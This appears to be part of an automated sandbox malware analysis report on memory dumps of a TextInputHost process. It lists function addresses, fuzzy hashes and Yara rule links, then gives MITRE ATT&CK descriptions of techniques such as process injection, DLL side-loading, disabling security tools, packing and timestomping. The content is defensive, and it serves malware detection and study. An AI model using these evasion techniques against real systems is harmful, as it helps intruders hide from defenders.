Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c1b7000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d889d161f93baff206c912d9526ddca058de98ca828ad8c82ea61fc16cb5c7f6
Instruction ID: f4d91aeaad7283e8421db32a691324afbc2959a94ce3e4ad90f2bda1c028839a
Opcode Fuzzy Hash: d889d161f93baff206c912d9526ddca058de98ca828ad8c82ea61fc16cb5c7f6
Instruction Fuzzy Hash: 06B1D331A48A478FE759EB58C0A06A4B7B0FF68350F54417DE04EC7A87DB28F851CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C3FA00E Relevance: .3, Instructions: 288COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3088062771.00007FFD9C3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c3f0000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fb036403b7cfbee729008eae8e084dba88fb0574f9675480c1262425c63edaa
Instruction ID: cf0e8b3c007d86fba586d611fa07901c9723cb489d193e8bdfb1f66ca237fabe
Opcode Fuzzy Hash: 3fb036403b7cfbee729008eae8e084dba88fb0574f9675480c1262425c63edaa
Instruction Fuzzy Hash: A8A19F70A1968A8FDB52EF64C8696E97FF0EF16300F0505EAD445C71A2DA38AA44CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C3F5860 Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3088062771.00007FFD9C3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c3f0000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c50ef817d5fc2153ee0dd67322f0d31ad36d4c817852857725f6d8577faf0d8
Instruction ID: 775039a310422c2fc2b20bb42ff50c71ec4b7f6475d07ba33c95456c78780386
Opcode Fuzzy Hash: 3c50ef817d5fc2153ee0dd67322f0d31ad36d4c817852857725f6d8577faf0d8
Instruction Fuzzy Hash: 4A916070A1864E8FEB55EF68C869AF97BF0FF19304F0405AED449D7291DB34AA44CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C3F40C0 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3088062771.00007FFD9C3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c3f0000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe60af97fba590444f2230ccf1386761a6fbd1f506a2d707e2a62fd69cfe82d7
Instruction ID: 33b062ded7dd5a494bc89ba0f345b5742f867155d65d1178b8b2a084a0d54162
Opcode Fuzzy Hash: fe60af97fba590444f2230ccf1386761a6fbd1f506a2d707e2a62fd69cfe82d7
Instruction Fuzzy Hash: C381BD30A0D28E8FEB65EF54C865AE87BB0EF55340F0445FAD409C3292DB786A85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C3F91C2 Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3088062771.00007FFD9C3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c3f0000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d278b72de7e10be96aba9b8bcdf87505394443c29b9cec6da57037b8428dfda1
Instruction ID: 457f0d6986983c69aef0ac34685115ab38079d6cbf7b5ba75bbd79e24a5bf07c
Opcode Fuzzy Hash: d278b72de7e10be96aba9b8bcdf87505394443c29b9cec6da57037b8428dfda1
Instruction Fuzzy Hash: 5251F631B0C64E5FF7B8EB588866DB437E0FF85360B0506BED49EC75A2DE18A8058741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C3F88A8 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3088062771.00007FFD9C3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c3f0000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3c8f0d227bdfc85bb3e54dfa625613c7aaf7cde2db6f04332730c4c764075db
Instruction ID: 903a6714a54185dfe10e1b117e19b9c1b2b6608baac11d540731e2109fcdbc54
Opcode Fuzzy Hash: e3c8f0d227bdfc85bb3e54dfa625613c7aaf7cde2db6f04332730c4c764075db
Instruction Fuzzy Hash: ED612831B0D68B4FFB69ABA489646B97BB0EF06340F0446BED048C71D2CA2C69458743

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C3F235C Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3088062771.00007FFD9C3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c3f0000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bec6b253b650f3d7210fa322ae5585bbc0d5abdedd38a3d5a01ca6dc8e43d7f8
Instruction ID: ef9bd1ec308d34430f2471efaee8b02a4e9bdee0f81ff0c207fb03814da28025
Opcode Fuzzy Hash: bec6b253b650f3d7210fa322ae5585bbc0d5abdedd38a3d5a01ca6dc8e43d7f8
Instruction Fuzzy Hash: 7B71C27194E3C98FE713AB6088656E57FB0EF17300F0A45EBD088CB1E3DA696549CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C3F303D Relevance: .2, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3088062771.00007FFD9C3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c3f0000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8834dc0831e4d7a7c2cac552f6f5cf38f10b62e8df0d885f085ed5947b8d26d6
Instruction ID: 4702e7cd88998c2156705fca6ba8e7a19d57ae8ba8c05a8f551146c68bd89ade
Opcode Fuzzy Hash: 8834dc0831e4d7a7c2cac552f6f5cf38f10b62e8df0d885f085ed5947b8d26d6
Instruction Fuzzy Hash: A871B070A0D64E8FEB95EF64C864AFA7BB0FF59300F1045BED419C7292CA786845CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C3F30B0 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3088062771.00007FFD9C3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c3f0000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a5e81d6e4b6b0165122340e3a1f6dc33247978dda5a0804512dd462a03696b7
Instruction ID: 63724a2f1d5dd35f5a8d73637b1678b78da4446617062053a7f8ebc1e9844860
Opcode Fuzzy Hash: 6a5e81d6e4b6b0165122340e3a1f6dc33247978dda5a0804512dd462a03696b7
Instruction Fuzzy Hash: BF616A70A0864E8FEB94EF58C464BFA77B1FF59304F10457ED41AD7292CA79A845CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C3FAC71 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3088062771.00007FFD9C3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c3f0000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf1aa9d58b43cc3538c3fcf035779cf240f386fe8f84d9cec351a8165b1f8cc2
Instruction ID: 80b733195595eca4288e3c0a7669878d192f325ba84c3f9b4897aabf6e8f57a4
Opcode Fuzzy Hash: cf1aa9d58b43cc3538c3fcf035779cf240f386fe8f84d9cec351a8165b1f8cc2
Instruction Fuzzy Hash: FC513530A1D2CB8FEB66AF6488749B87FB0EF15341F0505BFE449C7192DA286A44C791

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAECDCA Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3059532837.00007FFD9BAEB000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAEB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baeb000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad0e66e6ebec8b7a96010278bc8e0900ba35b71e55820cc933308b63eb73a8a4
Instruction ID: 690e203c3218efa1e2db9035cf5ff2b290ba0b2156891d7caaa3fc5b6acc784e
Opcode Fuzzy Hash: ad0e66e6ebec8b7a96010278bc8e0900ba35b71e55820cc933308b63eb73a8a4
Instruction Fuzzy Hash: 0541ED71E1991D8FDBA8EB58C895AA9B7B1FF98304F5042E9D00DD3295DE34AD818F40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C3F58B0 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3088062771.00007FFD9C3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c3f0000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1db4edf233935511cb5c2dffacfdaad9c177b725fe28c31cac0291cded76f33
Instruction ID: d218235c35e1677f0d3cc8bb18dee6dcd536672ce0b6549e2a9d1bdfe6142a50
Opcode Fuzzy Hash: e1db4edf233935511cb5c2dffacfdaad9c177b725fe28c31cac0291cded76f33
Instruction Fuzzy Hash: 6131B630B2D54B8FFB69AFA488759BD7BB0EF14391F04097EF409C7191DE2866809791

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C1B9A85 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3079607017.00007FFD9C1B7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1B7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c1b7000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81ad55414c925a3b3027a80258fdcf30eff3155602a19dcd9e4680d29141438b
Instruction ID: 92ca0a83e2239a29dc3375c733f058e88f9de1f301bfb1a6855c34dff94293e3
Opcode Fuzzy Hash: 81ad55414c925a3b3027a80258fdcf30eff3155602a19dcd9e4680d29141438b
Instruction Fuzzy Hash: 5731A572E1CA8E8FDB65DBA4C8605BC7BB1FF59340F54017AD00AE7295CB246806CB14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C3FB021 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3088062771.00007FFD9C3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c3f0000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34d709db68cdfce7e2a7bd6c0479dc28c43df6b03c9dcb35dc4e7554eb9ad3ba
Instruction ID: 266183a4e4bb46451a4cd40a5949304ed60e3bd6c3ee577e562a651cbc83f873
Opcode Fuzzy Hash: 34d709db68cdfce7e2a7bd6c0479dc28c43df6b03c9dcb35dc4e7554eb9ad3ba
Instruction Fuzzy Hash: 8D311B70F0851E8FEBA8EB588865AADBBB1FF58354F4004BDD05EE7291CE35A9408B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C3F0EC0 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3088062771.00007FFD9C3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c3f0000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a7b6e11616dd5750c8023ce0198e2d86f0cc0be6fc960174d3fee4239d7fa90
Instruction ID: ff980a871a1dd44746f845e1c1da24e56606c2cddc7912b15bbae69b7f8da225
Opcode Fuzzy Hash: 4a7b6e11616dd5750c8023ce0198e2d86f0cc0be6fc960174d3fee4239d7fa90
Instruction Fuzzy Hash: 7831E231B5D68A4FE776BBBC58799BC3FB09F45254F0405BBE40ACB293CE2868418341

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C1BD085 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3079607017.00007FFD9C1B7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1B7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c1b7000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 128aa954e90749900821b44d4f2eade9a4173669151aa482403ac51b097bb8fc
Instruction ID: e1bb3f5c578486f1e7ac7e702d9cebf0d210b39ff986fa63e1d011a641134808
Opcode Fuzzy Hash: 128aa954e90749900821b44d4f2eade9a4173669151aa482403ac51b097bb8fc
Instruction Fuzzy Hash: 0C310832E1C94B8FFBACEB9484659BD7AB1FF45340F50407AD40EE2289DA38A9419B45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C3F0ED8 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3088062771.00007FFD9C3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c3f0000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4699ba5ecb548e74f5484fd7d1cac65752c804999121f800b19ddc882e690d6f
Instruction ID: cc981cb2032b858dfcb0da48686f845a6a332afd24966d4343b5e1016d8f732a
Opcode Fuzzy Hash: 4699ba5ecb548e74f5484fd7d1cac65752c804999121f800b19ddc882e690d6f
Instruction Fuzzy Hash: 37210120B4D68A4FE775BBB858785BC3FB09F45240F0408BBE44AC7292D92869428341

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C3F4190 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3088062771.00007FFD9C3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c3f0000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91fc285667b49cf4fecb658928c3f18605efc29587ff0df6d22ca309bfedda1b
Instruction ID: f948d215911a3f52cc72e440a7121f128481bfb89ed04f67701f564bf4d8bb9d
Opcode Fuzzy Hash: 91fc285667b49cf4fecb658928c3f18605efc29587ff0df6d22ca309bfedda1b
Instruction Fuzzy Hash: 90317E71A0864E8FEBA4EF54C865BE977B1FF54340F0045BAD409D32A1DB74AA94CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C3F0540 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3088062771.00007FFD9C3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c3f0000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 957483995de51248ae60bd9617a1573dd2fec434e100d14f215cd88c1da5e4c7
Instruction ID: 832af7633f8583f3c2ea7371bb613c2b852d395303409b9d46b88c845ce3b0f0
Opcode Fuzzy Hash: 957483995de51248ae60bd9617a1573dd2fec434e100d14f215cd88c1da5e4c7
Instruction Fuzzy Hash: D3114F34B4890E8FEB64EFA4D854AFEB7B1FB98351F10063AD409E3295CB7465548BC0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C3F8A9A Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3088062771.00007FFD9C3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c3f0000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d54589c4b471460eb33a6f5df53e0ce17f95d3d540d59f7dff486a46d56555a
Instruction ID: 524308d2640ca5b583338c7f10a9785ca40fbf862208d4f70505cc392248326a
Opcode Fuzzy Hash: 4d54589c4b471460eb33a6f5df53e0ce17f95d3d540d59f7dff486a46d56555a
Instruction Fuzzy Hash: EB01D671F1C68F4FFF68ABA489209FE77B1FF46340F040A7AD409D6182DE2865108312

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C3F92BE Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3088062771.00007FFD9C3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c3f0000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 943f6a1abc78e7a1f65ab21cc493c334fd6c4a72c0f8f68bd6fea898c95f66f2
Instruction ID: 5f3ec4b51c9582612bd8d55655ae96a95dfc5cd31e972a971fcc313721a70854
Opcode Fuzzy Hash: 943f6a1abc78e7a1f65ab21cc493c334fd6c4a72c0f8f68bd6fea898c95f66f2
Instruction Fuzzy Hash: 3201F931B0C70A4FE768AF2898165BD73D1EF99325B14043FD08EC36E6CE21A8024641

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAF13A6 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3059532837.00007FFD9BAEB000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAEB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baeb000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3980b41381b28fcf0d59f0f4f932a243a80d9da9b6b5353075a7e8a62377953c
Instruction ID: 68b3c62e7fb82da58bf760283f79407df9ac2ad740c4820bd9acdf65e9a18c4c
Opcode Fuzzy Hash: 3980b41381b28fcf0d59f0f4f932a243a80d9da9b6b5353075a7e8a62377953c
Instruction Fuzzy Hash: E901E530F0A35E8AEBA0DBD8C8546EDB7F0EB24311F114636D40AD75A5DAB8AA55CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C3F8029 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3088062771.00007FFD9C3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c3f0000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b7f79f4a2ed4ac01e3600910c841e4c7375af4fb93411424ab18dd029251b7f
Instruction ID: f678425d1534caaed283926fd94eca0398bbd39a328f292fd4356d0e768da82d
Opcode Fuzzy Hash: 1b7f79f4a2ed4ac01e3600910c841e4c7375af4fb93411424ab18dd029251b7f
Instruction Fuzzy Hash: 8D01A930E1551A8BEB98EB18C895EE9B3B2FF98304F5046E5941CE7259DE35ED818F40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C3FB372 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3088062771.00007FFD9C3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c3f0000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a57236fea1dabd33878964dc719902b2315c59eec508f91ca66ea6ca7886b95b
Instruction ID: efae4933f35a1d7f9008e1360578022f46408c669d81eba2e156daffed9ace25
Opcode Fuzzy Hash: a57236fea1dabd33878964dc719902b2315c59eec508f91ca66ea6ca7886b95b
Instruction Fuzzy Hash: A3F0967198E2C69FE322DBB0C8619E97FB4AF43204F1900FBD445CB0E2D56D660AD761

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAF0B33 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3059532837.00007FFD9BAEB000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAEB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baeb000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 507c9ef82ed11139ae64899a474afe96b13573aaeeaa0e562c7008758af6b87a
Instruction ID: 958ee319ff8d9d56daa6f311a97210b471ce1d6f5e3b739a34894eaf17c20588
Opcode Fuzzy Hash: 507c9ef82ed11139ae64899a474afe96b13573aaeeaa0e562c7008758af6b87a
Instruction Fuzzy Hash: 7BE08670E1595F8BE758DFD4C8545BC67B1FF54744F40053AD019972DACEB414014B44

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C3FC24F Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3088062771.00007FFD9C3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c3f0000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54d172171b592ca95d20067e5f26d76211e9f36a8531dff8f750c0ce148e2315
Instruction ID: a23bab2a2b8d75ed1d4f104d0f9cdfe98ecbcee9085c162c4ae795b914ba3db6
Opcode Fuzzy Hash: 54d172171b592ca95d20067e5f26d76211e9f36a8531dff8f750c0ce148e2315
Instruction Fuzzy Hash: C1D09E35B4841E8FDF60EB98D8515EEB3B0FF98351F50057AD51DD3141DB3064168B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C3FA56E Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3088062771.00007FFD9C3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c3f0000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c61f79cdfe5d59d4179dad71dba1116eb2a90dd828cb31d5a501dd171b3b24d3
Instruction ID: 2e190a649eefa2beed36fd2ccc4e42fbbd8af1a93d95a8c02436a6f85fbfb1ed
Opcode Fuzzy Hash: c61f79cdfe5d59d4179dad71dba1116eb2a90dd828cb31d5a501dd171b3b24d3
Instruction Fuzzy Hash: 93D0A73061C516CFD7A9DB54C064C2137B0EB153803110098D40BC71A1C924AE40CB60

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
